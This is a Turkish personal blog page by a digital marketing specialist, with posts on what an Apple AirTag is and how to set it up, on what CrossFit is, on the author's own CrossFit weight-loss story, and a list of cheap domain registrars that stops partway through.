Ana Sayfa

  • AirTag Nedir?

    AirTag Nedir?

    AirTag, başta anahtarlarınız olmak üzere pek çok farklı eşyanızı bulmanıza yarayan bir elektronik Apple ürünü olarak karşınıza çıkıyor. Eğer düzenli olarak anahtarlarınızı, cüzdanınızı ya da sürekli olarak yanınızda taşıdığınız diğer objelerinizi kaybettiğinizi fark ediyorsanız, sizin için en uygun ürünlerden biri AirTag olabilir. Kendini sürekli evinin içinde anahtarlarını ya da cep telefonunu arayarak bulanlar, Apple AirTag desteğinden faydalanarak hayatlarına kolaylık katabiliyor ve fiziksel olarak bir eşyayı aramanın getirdiği zaman kaybını önlemiş oluyor. Peki Apple AirTag nedir, ne işe yarar ve nasıl kullanılır, öğrenmek ister misiniz? O zaman AirTag hakkında bilmeniz gereken tüm detayları bu yazımızda öğrenebilir ve belki de bir AirTag satın alma yolundaki ilk adımınızı atabilirsiniz.

    AirTag Nedir, Ne İşe Yarar?

    Apple’ın 2021 yılında piyasaya sürdüğü minik bir cihaz olan AirTag, en temel tanımıyla Bluetooth aracılığıyla başka cihazları ve eşyaları takip edebilen bir takip cihazıdır. Bu cihazla iPhone’lardaki “Cihazımı Bul” uygulamasını aktive edebileceğiniz gibi Apple temelli olmayan cihazlarınızı ve ev anahtarlarınız gibi eşyalarınızı da takip edebilirsiniz. iPhone Airtag nedir diye baktığımızda aslında anahtarlığınıza, elektronik aksesuarlarınıza, çantanıza ya da zinciri olan herhangi başka bir eşyaya takabileceğiniz bir takip cihazı ile karşılaşıyoruz. bu cihaz, zincire takılmanın yanı sıra aynı zamanda bir cüzdanın ya da kol çantasının içine de yerleştirilebilir. AirTag’i iPhone’unuzla kolaylıkla eşleştirebileceğiniz gibi “Cihazımı Bul” uygulamasıyla da uyumlu çalışır hale getirebilirsiniz.

    AirTag Nasıl Kullanılır?

    AirTag nedir, nasıl kullanılır merak ediyorsanız, aslında bu mini cihazın oldukça basit bir çalışma mantığı olduğunu söylememiz mümkün. Küçük, hafif ve paslanmaz çelik bir diskten ibaret olan AirTag, bir tarafında Apple logosunu barındırıyor. AirTag cihazınızın diğer tarafına dilediğiniz kelimeyi ya da objeyi kazıtarak onu kişiselleştirebilirsiniz. Cihaz aynı zamanda suya ve toza karşı dayanıklı. AirTag’in bataryası, CR2032 özellikli ve her gün düzenli kullanımda tam bir senelik batarya ömrü vadediyor. Cihazın aynı zamanda bir de çıkartılabilir bir kılıfı mevcut.

    Söz konusu AirTag kullanımı olduğu zaman aslında iPhone’nunuza AirPods’larınızı ya da diğer Apple cihazlarınızı eşleştirme ile benzer bir süreç izleyebiliyorsunuz. Bunun için şu adımları takip etmeniz yeterli:

    1. iPhone’unuzda “Cihazımı Bul” uygulamasını bulun.

    2. AirTag’inizi iPhone’unuza tanıtın. Bunu gerçekleştirmek için yapmanız gereken tek şey, AirTag’i akıllı telefonunuza yaklaştırmak ve otomatik olarak bağlanmasını sağlamak.

    3. Ekran üzerindeki yönledirme adımlarını takip ederek AirTag’inizi takacağınız eşyanıza isim verin. Bu, “Araba Anahtarım” ya da “Ev Anahtarlarım” gibi basit bir isim olabilir. Ardından objeyi Apple ID’nize kayıt ettirin.

    4. AirTag cihazınız eşleştirmeleri ni tamamladıktan sonra yine aynı uygulama üzerinden tanıttığınız objeyi Items menüsü altında görebilirsiniz. Bu menü altında ilgili objenin son bilinen ve güncel lokasyonunu bir harita aracılığıyla görüntüleyebilirsiniz.

    5. AirTag’inizi fiziksel olarak objeye takın – bu az evvel de bahsettiğimiz gibi bir anahtar, cüzdan, çanta ya da sürekli olarak yerini aradığınız başka herhangi bir obje olabilir.

    Eşyalarımı Bulmak İçin AirTag’i Nasıl Çalıştırmalıyım?

    AirTag’in en havalı özelliklerinden bir tanesi, eğer kaybettiğiniz objeniz Bluetooth çekim ağı içerisindeyse telefonunuzdaki “Cihazımı Bul” uygulamasını kullanarak o objeyi bulabilecek olmanız. Bu özelliği kullandığınızda AirTag’iniz bir ses bildirimi vererek ilgili objeyi bulmanızı sağlayacaktır. Bunu aynı zamanda iPhone’unuzdan Siri’ye sorarak da yapabilirsiniz.

    Eğer ilgili eşyanızı topluma açık bir alanda kaybettiyseniz ve Bluetooth menzili içerisinde olup olmadığından emin değilseniz, AirTag üzerindeki Kayıp Modu aktive edebilirsiniz. Bu sayede cihaz menzile girdiğinde ve ağ tarafından bulunduğunda size bir bildirim gelecektir.

    AirTag Bilgilerimi Gizli Tutuyor Mu?

    Elbette AirTag anahtarlık nedir ve ne işe yarar gibi soruların yanı sıra bu cihazla ilgili en çok merak edilen sorular da gizlilik kavramıyla ilgili oluyor. Hepimiz Apple markasının gizlilik ve kullanıcı güvenliği konusunda oldukça hassas olduğunu artık biliyoruz. Şirket, Apple da dahil olmak üzere hiç kimseyle lokasyonunuzu paylaşmadan “Cihazımı Bul” ağına katılabileceğini vurguluyor. Buna ek olarak AirTag’lerde istenmeyen takibin önüne geçebilmek için pek çok farklı güvenlik önlemi de mevcut.

    Her şeyden önce AirTag’ler, insanlardan ziyade eşyaları takip etmek için tasarlanmış bir cihaz. Bu nedenle de herhangi bir güvenlik açığının meydana gelmemesi ve gizlilik tehlikesi oluşturmaması için cihazlara ek güvenlik özellikleri eklenmiş. Bu özellikler arasında yanında bir AirTag olduğundan haberdar olmayan kişiye bildirim gitme süresinin kısaltılması, geliştirilmiş uyarı sesleri, Android cihazlar için bir izleyici algılama uygulaması gibi önlemler bulunuyor. Bununla birlikte AirTag’in Apple Kimliğinizle bağlantılı olduğunu kanıtlamak ve kurulum esnasında AirTag’in sahibi hakkında kolluk kuvvetlerinin tanımlayıcı bilgiler talep edebilmesini sağlamak adına tasarlanan bir uyarı da yer alıyor.


    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • Crossfit Nedir? 8 Maddede CrossFit

    Crossfit Nedir? 8 Maddede CrossFit

    Crossfit nedir yazısına başlamadan önce ufak bir öneride bulunmak istiyorum. Eğer Crossfit nedir biliyorsanız ve başlamak ile ilgili çekinceleriniz varsa lütfen Crossfit Hikayem isimli yazımı okuyunuz. Eğer Crossfit hakkında hiç bilginiz yoksa ve Crossfit nedir diye merak ediyorsanız yazıya devam edebilirsiniz.

    Crossfit Nedir, Nasıl Yapılmalı?

    CrossFit, yüksek yoğunlukta gerçekleştirilen sürekli değişen fonksiyonel hareketlerden oluşan bir spor çeşididir. Sabit varyasyon, her seansta vücut için farklı bir uyaran sağlar ve bu da zindelik seviyelerinde sabit bir artışa neden olur.

    Kullanılan fonksiyonel hareketler, fiziksel olarak aktif bir kişinin yaptığı günlük hareketlerin spora uyarlanmış halidir. Ancak çoğumuz hareketsiz hayatlara sahibiz, gün içerisinde ofislerimizde oturur vaziyette çalışıyoruz. Bu nedenle CrossFit antrenmanları, güç ve verimlilikle hareket ederken düzenli egzersizi sürdürmenin bir yolunu sunar.

    Bir Başka Tanıma Göre Crossfit

    CrossFit, bilinen on fitness alanının her birinde fiziksel yeterliliğini optimize etme özel amacı ile yüksek yoğunluklu, sürekli değişen, fonksiyonel hareketlerden yararlanan geniş, genel ve kapsayıcı bir güç ve kondisyon programıdır: Kardiyovasküler ve Solunum Dayanıklılığı, Dayanıklılık , Güç, Esneklik, Güç, Hız, Koordinasyon, Çeviklik, Denge ve Doğruluk. 

    Genellikle “fitness sporu” olarak tanımlanan CrossFit programı, empirik olarak rakipsiz atletik performans üretecek bir fitness antrenmanı metodolojisi tasarlama özel hedefiyle yola çıkan Greg Glassman tarafından geliştirildi. Jimnastik, kardiyo egzersizleri kondisyon ve halter olmak üzere üç modaliteden hareketler ve teknikler kullanan CrossFit, sporculara sadece bilinen alanlar için değil, bilinmeyen için de herhangi bir fiziksel olasılık için hazırlamaya çalışır.

    crossfit nedir

    Crossfit Nasıl Yapılır?

    Hareketler yüksek yoğunlukta gerçekleştirilir çünkü yoğunluk, zindeliğin gelişmesi için gereklidir. Bu, yapılan egzersizler sırasında nefes darlığı ve yorgunluk hissetmek anlamına gelir. Yoğunluk her kişiye göre değişir, bu nedenle herkes her antrenmanı bitiremeyebilir. Bunu çok fazla dert etmemek ve sürece odaklanmak gerekir. Kondisyon ve güç arttıkça antrenmanların tamamlanma oranı artacaktır.

    WOD (Günün Antrenmanı) Nedir?

    Crossfit terimleri arasında en sık kullanılan WOD’un İngilizce açılımı workout of the day şeklindedir. Türkçe’ye çevirecek olursak günün antrenmanı diyebiliriz. Bir Crossfit box’ına üye olduktan sonra size bir süre eğitim verilir. Bu eğitimlerde teknikleri öğrendikten sonra WOD’lara katılmaya başlarsınız. Her günün antrenmanı o günün başında tahtaya yazılır. Tüm gün boyunca tüm box üyeleri bu antrenman planını uygular.

    Crossfit Antrenman Seansı Nasıldır?

    CrossFit eğitimi genellikle düzenli olarak planlanmış, kalifiye ve profesyonel bir CrossFit eğitmeni tarafından yönetilen küçük grup eğitim oturumlarında sunulur. Seanslar genellikle bir saat sürer ve öngörülen fonksiyonel hareketleri öğrenmeye, uygulamaya ve gerçekleştirmeye adanmıştır. Tasarım gereği antrenmanlar sürekli değiştiğinden, hiçbir iki CrossFit seansı aynı değildir. Makine kullanmıyoruz çünkü CrossFit’te makine sizsiniz. Çubuklar ve ağırlıklar, tırmanma ve atlama ipleri, su ısıtıcısı çanları ve sağlık topları, halkalar ve çekme çubukları, zemin ve duvar kullanıyoruz. Ellerimizi ve ayaklarımızı, kollarımızı ve bacaklarımızı, sırtımızı ve midemizi kullanırız. İtiyoruz, çekiyoruz, kaldırıyoruz, koşuyoruz, zıplıyoruz, tırmanıyoruz, fırlatıyoruz, kürek çekiyoruz, rekabet ediyoruz, gülüyoruz, neşeleniyoruz, çalışıyoruz, eğleniyoruz. Beden eğitimi dersi, okul bahçesi ve arka bahçe hakkında sevdiğiniz her şey bir arada.

    crossfit nedir

    Herkes Crossfit Yapabilir mi?

    Evet, ama sadece iyileşmek istiyorsan.

    CrossFit, her şeyi kapsayan bir fiziksel sağlık ve fitness disiplinidir. Özel bir atletik çabanın tam tersi olması amaçlanmıştır. Her şeyi kapsayan doğası ve birden fazla fiziksel alana ve kapasiteye odaklanması sayesinde CrossFit, neredeyse tüm spor dallarında atletik performansı artırma konusunda benzersiz bir kapasiteye sahiptir. Bunun nedeni, o spora özgü becerilerden ziyade yalnızca sporcunun kondisyon düzeyine odaklanmasıdır. Başka bir deyişle, spora özgü becerilerinizi uygulamak teknik yeterliliklerinizi geliştirirken, CrossFit yapmak sizi daha zinde ve daha iyi bir sporcu yapacaktır. Daha yükseğe zıplamanıza, daha hızlı koşmanıza, daha sert vurmanıza, daha uzun süre dayanmanıza ve daha yüksek bir fiziksel seviyede rekabet etmenize olanak tanır.

    İster eğlence amaçlı bir spor liginde oynuyor olun, ister üst düzey bir amatör veya profesyonel bir sporcu olun, performansınızı geliştirme konusunda ciddiyseniz, CrossFit yapmanız gerekir.

    Crossfit Yaparken “Hantal” Mı Olacağım Yoksa Kilo Mu Alacağım?

    Google’a “CrossFit sporcuları” yazın ve fotoğraflara bakın. Gördüğünüzü beğendiyseniz, o zaman sorunuza cevap vermeli. CrossFit’in vücut geliştirmeden farklı olarak, belirli kas gruplarını ve benzerlerini aşırı geliştirmekle ilgilenmediğini akılda tutmak önemlidir. Fit sporcular yetiştirmeye çalışır. Fit bireylerin bir mayo içinde harika görünmeleri, bu arayışın uygun bir yan ürünüdür. Gerçek şu ki, vücut kompozisyonundan memnun olmayan kararlı bir CrossFitter ile henüz yok. Bununla birlikte, yeni başlayanların- özellikle kadınların- başlangıçta bir antrenmanın ağırlık taşıyan bileşenlerini tam olarak benimseme konusunda bir miktar tereddüt olabilir.

    crossfit nedir

    Crossfit Tehlikeli Midir?

    CrossFit fiziksel bir aktivitedir ve herhangi bir aktivite gibi, beklenen miktarda risk ile gelir. Herhangi bir yorucu fiziksel aktiviteye girişmeden önce bir tıp uzmanından yardım almanız her zaman şiddetle tavsiye edilir.

    O halde asıl soru, CrossFit’in diğer antrenman yöntemlerinden veya sporlardan daha tehlikeli olup olmadığıdır. Cevap hayır. Aslında, doğru bir şekilde yapıldığında, CrossFit’in temel fonksiyonel hareketlere (yani vücudunuzun gerçekten tasarlandığı ve yürütmek için inşa edildiği hareketlere) dayanması nedeniyle, aslında diğer birçok yaygın eğitim yönteminden ve/veya sporcuyu statik, tekrarlayan ve doğal olmayan vücut hareketlerine girmeye zorlayan spora özgü hareketler. CrossFit yaparken kendini yaralayan var mı? Elbette. Bir katılımcının hiç yaralanmadığı bir spor veya aktivite düşünebiliyor musunuz? 

    Elbette bütün bunlar asıl noktayı kaçırıyor. Şüphesiz, endişelenmeniz gereken asıl tehlike CrossFit yapmamaktan kaynaklanmaktadır. Kalp hastalığı, diyabet ve hiperglisemi tehlikelidir. Yetersiz gelişmiş bir kas ve iskelet sistemi tehlikelidir. Hareketsiz bir hayat yaşamak tehlikelidir. Vücudunuzu çöküntüden ve yaşlılığın tahribatından korunmak için uygun şekilde hazırlamamak tehlikelidir. CrossFit sizi bu tehlikelerden korur. Sağlığınızı korur, zinde olmanızı sağlar ve sizi yaşlılığa hazırlar!


    Eski bir dijital pazarlama uzmanı, yeni satın almacı olarak; dijital pazarlamapazarlama servisleri satın alması, Crossfit, iş dünyası ve kişisel konularda bilgiler aktardığım bloğum mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • Crossfit Hikayem

    Crossfit Hikayem

    Crossfit hikayem hakkında uzun zamandır yazma planları yapıyorum. Ancak bir önceki yazımda da bahsettiğim gibi son 1 yıllık süreçte buna pek imkânım olmadı. Bundan sonra yazmaya gayret edeceğime dair kendime söz verdim. Uzun zamandır birikmiş konular arasında Crossfit de vardı. Bu yazı umuyorum ki Crossfit konusunda soru işaretleri olanlar ve denemek isteyenler için aydınlatıcı bir yazı olur.

    Aslına bakarsanız amacım profesyonel bir Crossfit sporcusu gibi bilgi aktarmak değil. Bu konuda ahkam kesecek seviyede değilim. Hatta bazı antrenmanları hala zor bitiriyorum. Amacım kendi hikayemden bahsetmek ve bu sporu merak eden, benim gibi insanlara bilgi aktarmak. Beni yanlış anlamamanızı umarak yazıma başlıyorum.

    Bundan tam bir yıl önce başıma hiç beklemediğim bir şey geldi. Yeni iş yeri için sağlık raporu almam gerekiyordu. Evimin 2 sokak üstündeki sağlık kurumuna yürüyerek gittim. Kapıdan içeriye girdiğimde acil durum sanarak beni sedyeye yatırmaya çalıştılar. Aslında sadece rapor almaya gelmiştim. Ancak nefesim o kadar kesilmişti ki yanlış anlaşılmam normaldi.

    Kilo Almak mı, kilo vermek mi?

    Crossfit hikayem
    Crossfit hikayem

    Hayatımın çok büyük bölümünde kilo almaya çalışan bir insan oldum. O kadar zayıftım ki belki abartı gibi gelecek ama rüzgârlı havalarda yürümekte zorlandığım oluyordu. 30’lu yaşlarıma kadar ortalama 65 kilo ile geldim. Fakat ne olduysa 30 yaş sonrasında olmaya başladı. 30 ile 35 yaş aralığında bir anda 80 kiloya çıktım, bel bölgem yağ tuttu. Tam 35 yaşımda basmıştım ki pandemi süreci başladı. 2 yıl içerisinde 80 kilonun üzerine 10 kilo daha ekledim ve 90 kiloya geldim.

    İlk Boks İle Başladım

    Crossfit hikayem
    Crossfit hikayem

    Yaz tatilinden dönüşte, Eylül ayı gibi spora başlama kararı aldım. Hızlı kilo verdirdiğine inandığım için boks ile başladım. Gerçekten çok etkili bir spor. Oldukça keyif alarak başladım. Ancak ilk günlerde çok zorlandım. Uzun zamandır spor yapmamış biri için boksa başlamak performans anlamında zor bir iş. Uzunca süre kondisyon için çalışmanız gerekiyor. İlk günler ciddi zorlandığımı itiraf etmeliyim.

    Boksa keyifli bir biçimde devam ediyordu ancak bir problem vardı. Boks derslerine gittiğim salonda grup dersleri Pazartesi – Çarşamba – Cuma günleri 20:00 ile 21:00 arasında yapılıyordu. Malum iş hayatındayız ve aile yaşamı da var. Program sürekli stabil olamayabiliyor. Eğer Cuma günü grup dersine katılamazsanız ancak bir sonraki Pazartesi günü tekrar antrenman yapabiliyorsunuz. Yani bir önceki Çarşamba gününden bir sonraki Pazartesi gününe kadar sporsuz geçen 4 gün demek! Eğer kilo verme gibi bir düşünceniz varsa 4 gün oldukça büyük bir boşluk.

    Fitness ile Devam Ettim

    Crossfit hikayem
    Crossfit hikayem

    Crossfit çok ilgimi çekiyordu. Sürekli videolar izleyerek bu sporun ne olduğunu anlamaya çalışıyordum. Ancak bel fıtığı, boyun fıtığı vb. problemleri olan benim için çok zor ve riski görünüyordu. Sonradan anladım ki hepsi birer ön yargıdan ibaretmiş.

    Spora ara vermemek için mahalle arası bir spor salonuna yazıldım ve 2 ay kesintisiz devam ettim. Spor hocamın bana vermiş olduğu programı harfiyen uyguladım ve az da olsa verim aldım. Ancak burada da eksik olan şey kardiyo çalışmasıydı. Kardiyo yapmadan ne yazık ki kilo vermeniz o kadar da hızlı gerçekleşmiyor.

    Crossfit Hikayem Başlıyor

    Crossfit hikayem
    Crossfit hikayem

    Uzun zamandır Crossfit ile uzaktan aşkımızı sonunda resmiyete döktüm. Bundan 4 ay önce Crossfit’e başladım. İlk zamanlar müthiş zorlandığım bir spor oldu. Bazen antrenmanlar sonrasında “ben deli miyim? Ne işim var bu sporla?” diye kendimi sorguladım. Hatta ilk antrenmanlarda birçok kez kusmanın eşiğine geldim. Fakat sürekli spordan alacağım verime ve gelecek günlere odaklandım. Sanırım spor konusunda motivasyon sağlamanın en önemli yollarından bir tanesi bu.

    Crossfit antrenmanlarına eş zamanlı olarak diyetisyen ile iyi bir diyet süresine başladık. Yemek düzenimi ciddi anlamda değiştirdim. Hiçbir zaman aç kalmadım, aksine belki de ara öğünler ile öncesine göre daha fazla yemeye başladım. Paketli gıdalardan, asitli içeceklerden ve şekerden uzaklaştım. Peki ne oldu?

    Bu yazıyı yazdığım gün itibariyle 80 kiloyum. Vücut yağ oranım %28’den %23’e indi. Hedefim ilk aşamada yağ oranını %20’nin altına indirmek. Daha sonra %18 civarına gelerek stabil hale getirmeyi planlıyorum. Yağ kaybının yanında kas artımı da başladı, haftadan haftaya ne kadar kas kazandığımı takip edebiliyorum. Bu bana ekstra motivasyon sağlıyor.

    Vücut geliştirme yapan biri gibi kaslı bir vücut hedefim yok. Bu yaştan sonra öyle bir hırs benim için faydalı da değil zaten. Amacım tamamen fit bir vücuda kavuşmak, ondan da öte sağlıklı bir yaşam sürebilmek. Bunun haricinde hırslarım yok. Hiçbir zaman da Crossfit müsabakalarına katılma düşüncesinde değilim.

    Bu yazıda aslında kendi Crossfit hikayemden ve sürecimden bahsetmek istedim. Biliyorum ki Crossfit hakkında doyurucu bir yazı olmadı. Ancak genel olarak kendimden bahsederek bu sporu düşünenlere bilgi vermeye çalıştım. Gelecek yazılarda Crossfit hakkında daha detaylı bilgi vermeye çabalayacağım. Herkese faydası olan yazılar yazmayı planlıyorum.


    Eski bir dijital pazarlama uzmanı, yeni satın almacı olarak; dijital pazarlama, pazarlama servisleri satın alması, Crossfit, iş dünyası ve kişisel konularda bilgiler aktardığım bloğum mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!

  • En Ucuz Domain Nereden Alınır?

    En Ucuz Domain Nereden Alınır?

    Bir domain’i yani alan adını kullanmak için önce onu kaydettirmeniz gerekir. Domain kayıt işlemi oldukça basit olmasına rağmen, domain firması seçerken maliyet, destek, güvenlik, kullanıcı deneyimi vb. gibi birçok şeyi göz önünde bulundurmanız gerekir. Göz önünde bulundurmanız gereken en önemli parametrelerden biri ise fiyatlandırmadır. Bu yüzden ucuz domain alınacak domain kayıt firmalarını bilmeniz gerekir.

    en ucuz domain
    en ucuz domain nereden alınır?

    Ucuz Domain Satın Alabileceğiniz Yerli Firmalar

    Aşağıda uygun fiyata domain satın alabileceğiniz yerli firmaların bir listesini bulabilirsiniz:

    1. Atak Domain

    Türkiye’nin, en popüler alan adı kayıt kuruluşlarından biri olarak kabul edilen Atak Domain’de milyonlarca alan adı barındırılır. Atak Domain hem ülke kodlu hem de üst düzey alan adı uzantıları sağlar. Atak Domain ile bir alan adı kaydettiğinizde; “Ücretsiz Whois Gizleme, Ücretsiz Yönlendirme, Ücretsiz İç Transfer, Ücretsiz DNS Yönetimi, Ücretsiz Domain Kilidi, Ücretsiz Domain Paneli” gibi ücretsiz domain servislerinden yararlanabilirsiniz.

    Ayrıca domain ücretleri, diğer alan adı kayıt şirketlerine kıyasla oldukça ucuz olan Atak Domain’de, alan adı kaydı dışında; hosting, hazır site, e-posta, SSL ve satılık domain gibi birçok farklı hizmet vardır.

    2. Natro

    1999 yılından bu yana alan adı kayıt sektöründe faaliyet gösteren ve 2020 yılında Team Blue tarafından satın alınan Natro, domain kayıt hizmeti dışında; web hosting hizmetleri, SSL sertifikaları, profesyonel e-posta hizmetleri vb. dahil olmak üzere birçok hizmeti sunar.

    Ayrıca “Premium Domain Servisleri, Satılık Domain Platformu, Domain Değerleme Aracı” gibi ayrıcalıklı domain hizmetlerinden de yararlanmanıza olanak tanır.

    3. Turhost

    2004 yılından beri ağırlıklı olarak hosting sektöründe faaliyet gösteren Turhost, hosting ve alan adları için bir başka popüler alan adı kayıt kuruluşudur. Tek bir platformda ücretsiz olarak hosting, web site oluşturucu, alan adı kaydı ve e-posta hizmetleri için hepsi bir arada bir yaklaşım sunar.

    4. Vargonen

    2000 yılında kurulan Vargonen, alan adı kayıt işlemleriniz için kullanımı kolay bir arayüz sağlar ve popüler üst düzey alan adlarını satın almanıza izin verir. 65’den fazla alan adı uzantısı ile TLD’leri farklı hizmetlerle birlikte uygun fiyatlara sağlar.

    5. İsimtescil.net

    1998 yılında kurulan ve 570 binden fazla domain uzantısının satışını ve desteğini sağlayan İsimtescil.net, ICANN onaylı bir domain firmasıdır. .Com, .net, .org, .biz, info vb. farklı türde üst düzey alan adlarını uygun fiyatlarla sunar ve hosting, email, sunucu, SSL vb. birçok hizmeti de bünyesinde barındırır.

    6. TURKTICARET.Net

    1999 yılında kurulan ve Türkiye’nin ilk internet hizmet sağlayıcı firmalarından olan TURKTICARET.Net, en kaliteli ürün ve hizmetleri en uygun fiyatlarla getirmeyi taahhüt eder. Ucuz alan adlarının yanı sıra web hosting hizmetleri, marka tescili, SSL sertifikaları, sunucu vb. hizmetleri de sunar.

    7. Hosting.com.tr

    2004 yılında İstanbul’da kurulan Hosting.com.tr; üst düzey alan adları (TLD’ler), ülkeye özgü uzantılar ve yeni uzantılar dahil olmak üzere yüzlerce alan uzantısını kaydedebilmenize olanak tanır. Bir alan adı ve bir web hosting hizmeti sağlayıcısı arıyorsanız, Hosting.com.tr her iki hizmeti de sağladığı için sizin için tek çözüm noktası olarak hizmet edebilir.

    8. Niobe Hosting

    Faaliyetlerine 2000 yılında başlayan Niobe Hosting, kullanıcılarına kusursuz alan hizmetleri sağlayan bir alan adı kayıt kuruluşudur. Aralarından seçim yapabileceğiniz yüzlerce farklı alan adı uzantısı sunan firma, ücretsiz Whois koruması sağlar ve alan adlarınızı kaydetmenize ve yönetmenize yardımcı olmak için 7/24 teknik destek sunar.

    9. IHS

    1999 yılından beri veri merkezi ve bulut bilişim servisleri sağlayan IHS, 2007 yılında ICANN tarafından akredite edilerek alan adı sektörüne de giriş yapmıştır. IHS ile hosting’den bağımsız olarak popüler üst düzey alan adlarını da satın alabilirsiniz.

    10. İsim Kayıt

    2005 yılından beri alan adı ve hosting hizmetleri sunan İsim Kayıt, genel TLD’ler, yeni uzantılar ve ülkeye özgü uzantılar dahil olmak üzere binlerce alan adı uzantısı sunar. Ayrıca, farklılık yaratmak isteyen işletme sahipleri için uygun maliyetli bir fiyata markalı ve çekici alan adları da sağlar.

    Ucuz Domain Satın Alabileceğiniz Yabancı Firmalar

    Aşağıda uygun fiyata domain satın alabileceğiniz global firmaların bir listesini bulabilirsiniz:

    1. Domain.com

    Domain.com, klasik TLD’ler, ülke alanları ve diğer uzantılar dahil olmak üzere çok çeşitli ucuz alan adları sunan, piyasadaki en iyi sağlayıcılardan biridir. Şirket ayrıca web hosting, SSL sertifikaları ve hatta web sitesi oluşturucu gibi başka hizmetler de sağlar.

    2. Namecheap

    Ucuz alan adları için bir sonraki önerimiz, sektörde köklü bir geçmişi olan Namecheap’tir. Namecheap, alan adlarınızı kolayca kaydetmenize olanak tanır ve çok çeşitli hosting planları arasından seçim yapabilmeniz için size farklı hosting planları sunar. Üstelik Namecheap, iki ay boyunca ücretsiz olarak deneyebileceğiniz profesyonel bir e-posta adresi oluşturmanıza da izin verir.

    3. Bluehost

    Bluehost, WordPress tarafından resmi olarak onaylanan tanınmış bir web hosting sağlayıcısıdır. Ayrı olarak veya hosting paketinizin bir parçası olarak satın alabileceğiniz bir dizi uygun fiyatlı TLD de sunar. Aslında, ayda sadece 2,75 dolardan başlayan en ucuz planla bile bir yıl boyunca ücretsiz bir alan adı alabilirsiniz.

    4. GoDaddy

    ICANN tarafından akredite edilmiş bir alan adı kayıt kuruluşu olan GoDaddy, alan adı dışında; web hosting paketleri, SSL sertifikaları, site oluşturucu vb. çok çeşitli hizmetler sunar.

    Dünya çapında 18 milyondan fazla müşteri için 75 milyondan fazla alanı yöneten GoDaddy, alan adlarını toplu olarak satın almanıza da olanak tanır ve istenmeyen postaları önleyen ve kişisel bilgilerinizi WHOIS dizininden çıkaran Temel Gizlilik Koruması ile birlikte gelir.

    5. OVH

    OVH, bazıları şehir adlarını veya coğrafi bölgeleri içeren bir dizi alan adı sunar. OVH’nin alan adı kayıt kuruluşları arasında ön plana çıktığı yer burasıdır.

    OVH alan paketleri ayrıca fiyata ek hizmetleri de içerir. Örneğin kontrol panelinizden WHOIS korumasını etkinleştirebilir, DNSSEC ile sitenizin güvenliğini güçlendirebilir ve DNS kayıtlarınızı yönetebilirsiniz. OVH ayrıca özel ve VPS hosting planlarından oluşan bir hizmetler yelpazesi sunarak web hosting konusunda da size yardımcı olabilir.

    6. Ionos

    Ionos, endüstrinin en hızlı web hosting hizmetlerinden bazılarını sunan saygın bir web hosting sağlayıcıdır. Ayrıca bakım sırasında kesintileri veya beklenmedik kesintileri önleyen coğrafi yedekli altyapısı sayesinde %99,9 kesintisiz çalışma garantisi vaat eder.

    Tüm hosting paketlerinde ilk yıl için ücretsiz bir alan adı bulunur; bu, ayda 0,50 ABD doları gibi düşük bir ücret karşılığında bir tane satın alabileceğiniz anlamına gelir. Bu teklif belirli uzantılarla sınırlıdır, ancak en popüler TLD’lerden bazılarını (.com, .org ve .net gibi) içerir.

    Alan adınızı ayrı olarak satın almayı tercih ederseniz, fiyatları ilk başta uygun görünmese de, ücretsiz SSL sertifikası ve alan kilitleme gibi birçok ekstra hizmeti içerir. Ayrıca, her alan adı için 2 GB’lık bir posta kutusuyla birlikte gelir.

    7. Name.com

    Name.com, çoğunlukla alan kaydı konusunda uzmanlaşmış, kullanıcı dostu bir sağlayıcıdır. Ayrıca, özel, paylaşılan ve WordPress hosting dahil olmak üzere sınırlı sayıda web hosting hizmeti sunar.

    Yalnızca bir alana ihtiyacınız varsa, tonlarca uzantı arasından seçim yapabilir ve birkaç kullanışlı özelliğin keyfini çıkarabilirsiniz.

    Her alan adı, ücretsiz bir URL ve e-posta yönlendirme hizmeti, iki adımlı doğrulama ve DNS şablonu ile birlikte gelir.

    8. NameSilo

    NameSilo, çoğunlukla alan kaydına odaklanan başka bir sağlayıcıdır. Ucuz alan adlarına ek olarak, web hosting, Google Workspace e-postası ve SSL sertifikaları gibi birkaç ekstra hizmet sunar. Şirket, 0,99 ABD dolarından başlayan bazı popüler uzantılarla, piyasadaki en ucuz alan adı kayıt şirketlerinden biridir.

    9. Hover

    Hover, sadece alan kaydı konusunda uzmanlaşmış nispeten yeni bir şirkettir. Ucuz alan adlarına ek olarak, URL’nizi profesyonel yazışmalar için kullanmak istiyorsanız, bir e-posta hizmeti de satın alabilirsiniz.

    10. Dynadot

    Ucuz alan adları için son önerimiz, gelişmiş alan yönetimi özellikleri sunan bir kayıt şirketi olan Dynadot’tur. Aylık satışları olan şirket, bütçenize uygun bir fırsat bulmanıza olanak tanır. Ayrıca, VPS hosting, e-posta veya web sitesi oluşturucu gibi ücretsiz hizmetler de sunar.

    Dynadot, karmaşık satışlar olmadan şeffaf fiyatlandırma sunar. Yenileme oranları, diğer sağlayıcılara göre daha uygun olma eğilimindedir.

    11. Google Domains

    Google Domains, ucuz alan adları için en iyi alan adı kayıt kuruluşlarından biridir. Kayıt şirketi ICANN tarafından akredite edilmiştir ve 300’den fazla alan uzantısı sunar. Kullanıcılarına mükemmel güvenlik, destek ve hız sağlayan güvenilir bir platform arıyorsanız, tercih edebileceğiniz mükemmel bir seçenektir.

    Domain Nasıl Satın Alınır?

    Alan adınızın ne olacağına karar verdikten sonra ilk yapmanız gereken şey, alan adınızın müsaitlik durumunu kontrol etmektir. Eğer alan adınız müsait ise, 2003 yılından beri sektörün en popüler ICANN accredited domain firması olan Atak Domain’den, uygun maliyetli seçenekler ile alan adı kaydınızı yapabilirsiniz.

    Atak Domain üzerinden bir alan adı nasıl satın alınır?

    • Eğer alan adınız için sorgulama yapmadıysanız, alan adınızı sorgulamak için linkte tıklayın:
    • https://www.atakdomain.com/domain-sorgulama
    • Aşağıdaki ekranda göreceğiniz “Domain Sorgulama” aracına belirlediğiniz alan adını yazın ve “Sorgula” butonuna tıklayın.
    en ucuz domain
    en ucuz domain nereden alınır?
    • Örneğin, “Domain Sorgulama” aracına, “12345678abcdef” gibi bir alan adı girdiğinizi varsayalım. Karşınıza aşağıdaki gibi bir ekran gelecek. Bu müsaitlik durumuna baktığınız alan adının daha önce kaydedilmediği anlamına gelir.
    en ucuz domain
    en ucuz domain nereden alınır?
